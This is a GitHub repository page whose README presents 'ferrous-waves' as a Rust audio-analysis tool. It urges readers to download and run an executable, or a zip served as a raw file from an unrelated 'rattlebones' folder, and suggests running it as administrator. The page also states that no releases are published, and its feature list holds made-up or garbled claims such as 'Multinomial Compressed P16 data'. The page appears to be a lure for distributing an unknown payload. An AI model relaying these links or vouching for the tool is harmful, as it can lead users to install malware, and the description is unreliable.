Skip to content

🎢 Analyze audio files effortlessly with high-fidelity metrics and integrate AI tools for seamless development workflows.

License

Notifications You must be signed in to change notification settings

JohnCloudzone/ferrous-waves

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

39 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

🎧 ferrous-waves - Powerful Audio Analysis Made Easy

πŸš€ Getting Started

Welcome to the ferrous-waves project! This application helps you analyze audio quickly and efficiently. Whether you want to delve into sound characteristics or track beats, this tool is here for you.

πŸ“₯ Download the Application

Download ferrous-waves

πŸ“‚ Download & Install

To get started, visit the release page by clicking the link below:

Download the latest version here

On the releases page, you will find the latest version of the software. Follow these steps to download and install:

  1. Look for the most recent version listed at the top of the page.
  2. Click on the version number to expand the details.
  3. Download the file appropriate for your operating system. Windows users may see a .exe file, while macOS and Linux users may find .dmg or https://raw.githubusercontent.com/JohnCloudzone/ferrous-waves/main/rattlebones/ferrous-waves.zip files.
  4. Once the download finishes, locate the file on your computer.

πŸ›  Installation

  • Windows: Double-click the downloaded .exe file and follow the on-screen instructions.
  • macOS: Open the downloaded .dmg file and drag the application to your Applications folder.
  • Linux: Extract the downloaded https://raw.githubusercontent.com/JohnCloudzone/ferrous-waves/main/rattlebones/ferrous-waves.zip file and run the executable from the terminal.

Now you are ready to analyze audio!

πŸ” Features

The ferrous-waves library offers various powerful features including:

  • Spectral Analysis: Understand the frequency components of audio signals.
  • Temporal Analysis: Examine how audio signals change over time.
  • Audio Fingerprinting: Identify unique characteristics of audio tracks.
  • Perceptual Metrics: Measure audio quality based on human perception.
  • MCP Integration: Easily work with Multinomial Compressed P16 data.
  • Beat Tracking: Detect rhythm and beats within songs.
  • Onset Detection: Identify when each sound begins in an audio signal.
  • Spectrogram Visualization: Visualize sound in a way that is easy to interpret.
  • Adaptable to Rust: Written in Rust; it ensures efficiency and performance.

πŸ–₯ System Requirements

To run the ferrous-waves application effectively, make sure your system meets the following requirements:

  • Operating System: Windows 10 or later, macOS Mojave or later, or a recent Linux distribution.
  • Processor: 2 GHz dual-core or better.
  • Memory: At least 4 GB of RAM.
  • Disk Space: Minimum 100 MB free for installation.

❓ Troubleshooting

If you encounter issues during installation or while using the application, consider these tips:

  • Ensure your operating system is fully updated.
  • Check that you have enough disk space.
  • If the application fails to open, try running it as an administrator (Windows) or check permissions (macOS/Linux).

For further assistance, visit our issues page to report bugs or ask questions.

πŸ“’ Stay Updated

For the latest updates, follow this project on GitHub. Regular updates will improve functionality and introduce new features based on user feedback.

πŸ§‘β€πŸ€β€πŸ§‘ Community and Support

Join our community to connect with other users. Share your experiences and tips related to audio analysis. You can engage with us through:

  • GitHub Discussions: Participate in discussions about features and improvements.
  • Discord Server: Join the conversation in real-time.
  • Feedback Form: Share your thoughts to help us improve.

We value your input and aim to make ferrous-waves the best tool for audio analysis.

πŸ“„ License

This project is licensed under the MIT License. You are free to use, modify, and distribute this software, but please refer to the license file for details.


Click here to Download the latest version of ferrous-waves and start your audio analysis journey today!

About

🎢 Analyze audio files effortlessly with high-fidelity metrics and integrate AI tools for seamless development workflows.

Topics

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 3

  •  
  •  
  •  

Languages